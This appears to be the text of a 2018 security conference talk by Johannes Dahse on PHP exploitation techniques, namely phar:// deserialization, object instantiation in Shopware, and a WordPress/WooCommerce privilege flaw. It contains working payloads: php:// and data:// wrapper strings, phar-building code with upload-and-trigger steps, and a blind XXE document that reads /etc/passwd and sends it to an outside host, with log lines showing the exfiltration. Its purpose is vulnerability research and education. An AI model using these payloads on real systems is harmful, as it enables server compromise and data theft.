PHP remains the most popular server-side language on the Web and the most favoured language for Web attacks. The security vulnerabilities and attack techniques become more sophisticated though. For example, the vulnerability types PHP Object Instantiation and Phar Deserialization are comparatively unknown to traditional types like XSS and SQLi. In this technical talk, we look at a couple of critical security bugs found in popular open source PHP applications, such as WordPress, WooCommerce and Shopware. We will focus on fundamental design flaws and new state-of-the-art exploitation techniques that are used by attackers to compromise web servers through these issues which can occur in any other application as well.
1. New PHP Exploitation Techniques
Johannes Dahse, PHP.RUHR 2018
Dortmund, Germany, 08.11.2018
2. Johannes Dahse
Capture The Flag, 5 years
Security Consultant, 5 years
Developer RIPS open source (2009-2013)
Ph.D. Static Code Analysis @ Ruhr-University Bochum (2013-2016)
Co-Founder RIPS Technologies GmbH (since 2016)
@FluxReiners
blog.ripstech.com
Intro
3. What I love
Phar:// Deserialization
WooCommerce: File Delete to RCE
WordPress: File Delete to RCE
Moodle: Code Injection to RCE
Prestashop: Object Injection to RCE
LimeSurvey: pXSS to File Write to RCE
wooCommerce: SQLi to POI to RCE
Joomla!: Second-Order SQLi to RCE
CubeCart: SQLi to RCE
Shopware: POI to XXE to RCE
4. What I love
Phar:// Deserialization
WooCommerce: File Delete to RCE
WordPress: File Delete to RCE
Moodle: Code Injection to RCE
Prestashop: Object Injection to RCE
LimeSurvey: pXSS to File Write to RCE
wooCommerce: SQLi to POI to RCE
Joomla!: Second-Order SQLi to RCE
CubeCart: SQLi to RCE
Shopware: POI to XXE to RCE
11. WordPress Author role required, but:
• Privilege escalation for multi-user sites (e.g. multiple journalists)
• New bug announced soon that allows privilege escalation from unauthenticated users
Comments on Requirements
13. WooCommerce Privileges:
• A shop manager user gets the edit_users WordPress privilege upon plugin installation
• This privilege is permanently stored in the database
• This privilege allows to edit all users, including administrators
• To restrict this, WooCommerce adds a WordPress filter disallow_editing_of_admins
The Design Flaw:
• If the WooCommerce plugin gets disabled, the edit_users privilege still persists
• But the disallow_editing_of_admins filter of the plugin does not trigger anymore
• Usually, only administrators can disable plugins …
WordPress Design Flaw
17. URL-style wrappers allowed in PHP file operations, e.g. data://, zlib://, php://
Often used for PHP file inclusion: include($_GET["filename"]);
What about other wrappers, like phar:// ?
Credits: Sam Thomas from Secarma
PHP Stream Wrappers
?filename=php://filter/convert.base64-encode/resource=index.php
?filename=data://text/plain;base64,cGhwaW5mbygpCg==
18. PHP Archive Files
Put entire PHP application into single file
Meta data is stored in serialized form!
Phar Files
19. PHP Archive Files
Put entire PHP application into single file
Meta data is stored in serialized form!
Phar Files
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
20. PHP Archive Files
Put entire PHP application into single file
Meta data is stored in serialized form!
Phar Files
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
21. Any file operation allows phar://
On access, Phar meta data is unserialize()‘d
➔ PHP Object Injection
Phar:// Deserialization
class File {
function __destruct() {
unlink($this->data);
}
}
// output: rips
include( $_GET[filename] );
?filename=phar://test.phar
22. Any file operation allows phar://
On access, Phar meta data is unserialize()‘d
➔ PHP Object Injection
➔ Polyglot JPG/PHAR exists
Phar:// Deserialization
class File {
function __destruct() {
unlink($this->data);
}
}
// output: rips
include( $_GET[filename] );
?filename=phar://test.phar
23. Any file operation allows phar://
On access, Phar meta data is unserialize()‘d
➔ PHP Object Injection
➔ Polyglot JPG/PHAR exists
Phar:// Deserialization
class File {
function __destruct() {
unlink($this->data);
}
}
// output: rips
include( $_GET[filename] );
?filename=phar://test.phar
1. Inject serialized object into a phar file
2. Obfuscate phar file as avatar.jpg
3. Upload avatar.jpg to application
4. Exploit phar deserialization:
index.php?filename=phar://../uploads/avatar.jpg
26. Shopware < 5.3.4
PHP Object Instantiation
to XXE to RCE
https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/
27. PHP Object Instantiation != PHP Object Injection
PHP Object Instantiation
class Shopware_Controllers_Backend_ProductStream
{
public function loadPreviewAction()
{
$sorting = $this->Request()->getParam('sort');
$streamRepo->unserialize($sorting);
}
}
28. An attacker can instantiate PHP objects of arbitrary classes
PHP Object Instantiation
class LogawareReflectionHelper
{
public function unserialize($serialized)
{
foreach($serialized as $className => $arguments)
{
$reflectionClass = new ReflectionClass($className);
$classes[] = $reflectionClass->newInstanceArgs($arguments);
}
}
}
29. An attacker can instantiate PHP objects of arbitrary classes
Invoke __construct(), __destruct(), __call(), but what if no interesting magic methods in code base?
PHP Object Instantiation
class LogawareReflectionHelper
{
public function unserialize($serialized)
{
foreach($serialized as $className => $arguments)
{
$reflectionClass = new ReflectionClass($className);
$classes[] = $reflectionClass->newInstanceArgs($arguments);
}
}
}
30. Instantiate object of a PHP built-in class
PHP Built-in Class SimpleXMLElement
SimpleXMLElement::__construct (
$data = "https://ripstech.com/xxe.xml",
$options = LIBXML_NOENT, // enable substitution of entities
$data_is_url = true
)
31. https://ripstech.com/xxe.xml
https://ripstech.com/xxe.dtd
Blind XXE
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
32. https://ripstech.com/xxe.xml
https://ripstech.com/xxe.dtd
Blind XXE
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /xxe.xml HTTP/1.0" 200 -
1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /xxe.dtd HTTP/1.0" 200 -
1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /?cm9vdDp4mF....== HTTP/1.0" 200 -